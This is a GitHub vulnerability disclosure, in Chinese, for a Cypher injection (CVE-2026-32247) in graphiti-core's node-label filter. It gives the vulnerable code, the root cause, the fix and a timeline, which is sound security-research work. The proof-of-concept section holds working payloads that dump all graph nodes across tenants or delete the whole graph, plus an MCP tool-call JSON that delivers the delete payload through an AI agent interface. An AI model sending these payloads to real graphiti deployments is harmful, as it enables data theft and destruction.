romain-deperne/CVE-2026-32247

GitHub: romain-deperne/CVE-2026-32247

graphiti-core 因未过滤 node_labels 导致 Cypher 注入的高危漏洞(CVE-2026-32247,CVSS 8.1)的详细披露与概念验证,影响 0.28.1 及更早版本的 Neo4j 和 FalkorDB 后端。

Stars: 0 | Forks: 0

# CVE-2026-32247 — graphiti-core 中因未过滤 node_labels 导致的 Cypher 注入 **严重程度**:高危 (CVSS 8.1) **CWE**:CWE-943 — 数据查询逻辑中特殊元素的不当中和 **受影响版本**:`graphiti-core` <= 0.28.1 (pip) **修复版本**:0.28.2 **安全通告**:[GHSA](https://github.com/getzep/graphiti/security/advisories) **NVD**:https://nvd.nist.gov/vuln/detail/CVE-2026-32247 ## 概述 `graphiti-core` 通过将用户提供的 node label 字符串用 `|` 连接,并将其拼接到原始查询中来构建 Cypher `WHERE` 子句。攻击者可以注入任意的 Cypher 操作符,从所有租户的任意图节点中窃取数据,或者删除整个图数据库——整个处理链中没有任何参数化处理或数据验证。 ## 发现过程 我当时正在系统性地扫描 [awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers) 列表中的 MCP server 仓库,重点关注那些将 LLM 代理连接到数据库后端的项目。Graphiti 引起了我的注意,因为它被定位为 AI 代理的*核心*记忆层——这是一个高价值目标。 我对图数据库的扫描模式很简单:使用 grep 搜索包含 `MATCH`、`WHERE` 或标签拼接的 f-string。`search_filters.py` 中的 `'n:' + node_labels` 这一行立刻引起了我的注意——这是一个直接进入 Cypher 查询的原始字符串拼接。该变量来自 MCP 工具处理程序中的 `entity_types`,并且完全没有进行任何验证。 让这个问题变得比标准注入更有趣的地方在于:Cypher 的 `WITH` 子句允许你跳出 `WHERE` 上下文并启动一个全新的管道。因此,`)` 关闭了括号内的标签表达式,`WITH n` 过渡到一个新的子句,而 `//` 则静默地丢弃了原始查询的其余部分。只需一个 payload,即可获得对整个图的访问权限。 我在 10 分钟内通过在一个独立的 Python 脚本中复现确切的逻辑确认了这一点,验证了 DETACH DELETE 能够删除所有节点,然后撰写了 GHSA 报告。 ## 受影响的组件 **文件**:`graphiti_core/search/search_filters.py`,第 91–92 行和第 134–135 行 ``` # 脆弱代码 — 源代码的精确副本 node_labels = '|'.join(filters.node_labels) node_label_filter = 'n:' + node_labels # node_label_filter 随后被插值到 Cypher WHERE 子句中 ``` **入口点**:`mcp_server/src/graphiti_mcp_server.py`,第 441 行 ``` search_filters = SearchFilters( node_labels=entity_types, # user input passed directly, no validation ) ``` `entity_types` 参数从 MCP `search_nodes` 工具调用直接流入查询构建器。Neo4j 和 FalkorDB 后端均受影响。Kuzu 后端不受影响,因为它使用了参数化查询。 ## 根本原因 `node_label_filter` 的值(`n:Label1|Label2`)被直接嵌入到 Cypher 查询中: ``` WHERE (n:Label1|Label2) AND ... ``` 因为标签是由调用方用 `|` 连接并用括号括起来的,攻击者只需要用 `)` 关闭表达式,就可以注入新的 Cypher 子句。`//` 注释操作符会抑制原始查询的其余部分。 ## 概念验证 ``` # 来自 search_filters.py 第 91-92 行的精确逻辑 def build_filter(node_labels): labels = '|'.join(node_labels) return 'n:' + labels # 良性 print(build_filter(["Person", "Organization"])) # → n:Person|Organization → WHERE (n:Person|Organization) AND ... # 窃取:读取所有组中的所有节点 print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"])) # → n:Entity`) WITH n MATCH (x) RETURN x // # 完整 Cypher:WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ... # `) 关闭了 WHERE,WITH 开启了一个新的 pipeline,// 丢弃了剩余部分 # 删除:清空整个 graph print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"])) ``` **通过 MCP 工具调用:** ``` { "tool": "search_nodes", "arguments": { "query": "test", "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"] } } ``` ## 影响 - **数据泄露**:可以读取所有 `group_id` 命名空间中的任何节点/关系 - **数据破坏**:`DETACH DELETE` 会清空整个图 - **租户隔离绕过**:`group_id` 过滤器是在可注入的标签过滤器之后应用的——注入一个 `WITH` 子句可以完全绕过它 - Graphiti 在多个 AI 代理框架中被用作记忆层;MCP 接口使得任何连接的代理都可以远程利用此漏洞 ## 修复 补丁版本在插值之前会根据允许的字母数字字符列表验证 node 标签,并且全文搜索路径对 `group_id` 值使用了参数化查询。 ## 时间线 - **发现时间**:2026-03-xx - **报告时间**:GHSA 私密安全通告 - **补丁发布**:graphiti-core 0.28.2 - **CVE 发布**:CVE-2026-32247
标签:AI智能体, CISA项目, CVE-2026-32247, CVSS 8.1, CWE-943, Cypher注入, DLL 劫持, getzep/graphiti, GHSA, graphiti-core, MCP Server, Neo4j, NVD, Python, SQL/NoSQL注入, Web报告查看器, 大语言模型, 提示注入, 无后门, 漏洞分析, 网络安全, 越权访问, 路径探测, 逆向工具, 隐私保护, 集群管理